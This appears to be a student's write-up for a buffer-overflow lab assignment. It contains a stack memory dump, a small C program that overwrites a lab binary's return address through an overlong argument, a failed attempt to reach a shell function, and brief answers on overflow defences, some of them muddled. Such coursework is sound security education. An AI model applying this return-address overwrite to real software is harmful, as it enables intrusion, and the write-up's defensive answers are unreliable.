

# Assignment 3

1.

```
Jrs-MacBook-Pro:Desktop jr_kns$ ./ex1
&main = 0x107ededc0
&myfunction = 0x107edee10
&i = 0x7fff57d219bc
&buf[0] = 0x7fff57d219c0
0x7fff57d219dc: 0x35
0x7fff57d219db: 0x2d 0x7fff57d219da: 0x8b 0x7fff57d219d9: 0x0 0x7fff57d219d8: 0xca
0x7fff57d219d7: 0x0 0x7fff57d219d6: 0x0 0x7fff57d219d5: 0x0 0x7fff57d219d4: 0x0
0x7fff57d219d3: 0x0 0x7fff57d219d2: 0x38 0x7fff57d219d1: 0x37 0x7fff57d219d0: 0x36
0x7fff57d219cf: 0x35 0x7fff57d219ce: 0x34 0x7fff57d219cd: 0x33 0x7fff57d219cc: 0x32
0x7fff57d219cb: 0x31 0x7fff57d219ca: 0x30 0x7fff57d219c9: 0x39 0x7fff57d219c8: 0x38
0x7fff57d219c7: 0x37 0x7fff57d219c6: 0x36 0x7fff57d219c5: 0x35 0x7fff57d219c4: 0x34
0x7fff57d219c3: 0x33 0x7fff57d219c2: 0x32 0x7fff57d219c1: 0x31 0x7fff57d219c0: 0x30
0x7fff57d219bf: 0x0 0x7fff57d219be: 0x0 0x7fff57d219bd: 0x0 0x7fff57d219bc: 0xc
0x7fff57d219bb: 0x0 0x7fff57d219ba: 0x0 0x7fff57d219b9: 0x0 0x7fff57d219b8: 0x14
0x7fff57d219b7: 0x0 0x7fff57d219b6: 0x0 0x7fff57d219b5: 0x0 0x7fff57d219b4: 0x19
0x7fff57d219b3: 0x0 0x7fff57d219b2: 0x0 0x7fff57d219b1: 0x0 0x7fff57d219b0: 0x14
0x7fff57d219af: 0x0 0x7fff57d219ae: 0x0 0x7fff57d219ad: 0x0 0x7fff57d219ac: 0x1
0x7fff57d219ab: 0x57 0x7fff57d219aa: 0xd2 0x7fff57d219a9: 0x19 0x7fff57d219a8: 0xf0
0x7fff57d219a7: 0x0 0x7fff57d219a6: 0x0 0x7fff57d219a5: 0x0 0x7fff57d219a4: 0x30
0x7fff57d219a3: 0x0 0x7fff57d219a2: 0x0 0x7fff57d219a1: 0x0 0x7fff57d219a0: 0x10
0x7fff57d2199f: 0x0 0x7fff57d2199e: 0x0 0x7fff57d2199d: 0x0 0x7fff57d2199c: 0x1
0x7fff57d2199b: 0x7 0x7fff57d2199a: 0xed 0x7fff57d21999: 0xee 0x7fff57d21998: 0xc0
0x7fff57d21997: 0x0 0x7fff57d21996: 0x0 0x7fff57d21995: 0x7f 0x7fff57d21994: 0xff
0x7fff57d21993: 0x57 0x7fff57d21992: 0xd2 0x7fff57d21991: 0x19 0x7fff57d21990: 0xe0
0x7fff57d2198f: 0x0 0x7fff57d2198e: 0x0 0x7fff57d2198d: 0x0 0x7fff57d2198c: 0x0
0x7fff57d2198b: 0x0 0x7fff57d2198a: 0x0 0x7fff57d21989: 0x0 0x7fff57d21988: 0x0
0x7fff57d21987: 0x0 0x7fff57d21986: 0x0 0x7fff57d21985: 0x0 0x7fff57d21984: 0x0
0x7fff57d21983: 0x0 0x7fff57d21982: 0x0 0x7fff57d21981: 0x0 0x7fff57d21980: 0x0
0x7fff57d2197f: 0x0 0x7fff57d2197e: 0x0 0x7fff57d2197d: 0x0 0x7fff57d2197c: 0x0
0x7fff57d2197b: 0x0 0x7fff57d2197a: 0x0 0x7fff57d21979: 0x0 0x7fff57d21978: 0x0
0x7fff57d21977: 0xb9 0x7fff57d21976: 0x9f 0x7fff57d21975: 0xf9 0x7fff57d21974: 0x35
0x7fff57d21973: 0x2d 0x7fff57d21972: 0x8b 0x7fff57d21971: 0x0 0x7fff57d21970: 0xca
0x7fff57d2196f: 0x0 0x7fff57d2196e: 0x0 0x7fff57d2196d: 0x7f 0x7fff57d2196c: 0xff
0x7fff57d2196b: 0x57 0x7fff57d2196a: 0xd2 0x7fff57d21969: 0x1a 0x7fff57d21968: 0x8
```

After this I decide to change environment to Cygwin on windows because too many things are different from the instruction. (Ex. return address are randomly on every time I execute command. This make me so confused and can't make an overflow experiment.)

2.

```
1  #include <stdio.h>
2  #include <stdlib.h>
3  int main(int argc, char **argv) {
4      char *buf = (char *) malloc(sizeof(char)*1024);
5      char **arr = (char **)malloc(sizeof(char *)*3);
6      int i,j;
7
8      for(i=0;i<40;i++) buf[i]='x';
9
10     //common main return address is 00000000004015b0
11
12     buf[40]=0xb0;
13     buf[41]=0x15;
14     buf[42]=0x40;
15     buf[43]=0x00;
16     buf[44]=0x00;
17     buf[45]=0x00;
18     buf[46]=0x00;
19     buf[47]=0x00;
20
21     arr[0]="./ex2";
22     arr[1]=buf;
23     arr[2]='\0';
24     execv("./ex2",arr);
25 }
```

I only change the return address of myFunction to return address of greeting function by overflowing a buf array.

3.

First we examine the program and it terminated when we input string longer than 56 bytes so we can assume that after 56th byte there might be some return address so we want to jump to shell and don't want it to terminated so we get a shell address from (objdump -d victim.exe | grep shell) and try to change to that return address but I failed and stuck at that point. (maybe after 56th byte it something that compiler do magic before we found a location of return address.)

4.

A : No , Buffer-overflow exploit is used by hacker nowadays because of weak security on most computer ( out of date support ) and that make this hacking technique very dangerous.

B : Yes , we can avoid buffer-overflow attack by writing a good code or by optimized compiler (Ex. canary,swapping,edcoding,etc) this make it harder to hack.